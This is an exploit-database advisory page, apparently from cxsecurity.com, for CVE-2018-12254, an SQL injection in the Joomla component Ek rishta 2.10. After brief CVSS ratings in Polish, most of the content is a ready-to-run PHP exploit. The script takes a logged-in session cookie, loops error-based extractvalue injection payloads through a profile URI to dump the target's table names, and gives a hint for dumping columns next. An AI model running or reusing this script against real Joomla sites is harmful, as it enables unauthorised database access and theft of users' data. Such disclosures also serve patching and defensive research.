Joomla Component Ek rishta 2.10 SQL Injection

2018.06.14
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Jednorazowa
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection # Date: 2018-06-14 # Exploit Author: Guilherme Assmann # Vendor Homepage:https://www.joomla.org/ # Version: 2.10 # Tested on: MacOSX, Safari, Chrome # Download: https://extensions.joomla.org/extension/ek-rishta/ # CVE: CVE-2018-12254 # Vulnerability Description # To exploit this vulnerability, the user must be logged on to the platform! # the vulnerability allows SQL Injection via the # PATH_INFO to a home/requested_user/Sent%20interest/[username] URI. # more information(en): # https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/ # more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/ # more information: https://desecsecurity.com/ # exploit code to dump tables: <?php // CVE-2018-12254 // after dump the tables, use %60%23table_name%60 to dump columns... $host = $argv[1]; $cookie = $argv[2]; // Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar” function exploit($host,$ck){ $urls = sqli(); $ch = curl_init(); foreach($urls as $url){ curl_setopt($ch,CURLOPT_URL,$host.$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_USERAGENT,":)"); curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100); curl_setopt($ch,CURLOPT_TIMEOUT,100); $response = curl_exec($ch); $s = strpos($response,"#__"); echo substr($response,$s,30)."\n"; } } function sqli(){ $uri = "/index.php/home/requested_user/Sent%20interest/1'or%20"; for($i=0;$i<100;$i++){ $value = $i+1; $data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #')); } return $data; } exploit($host,$cookie); ?>


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top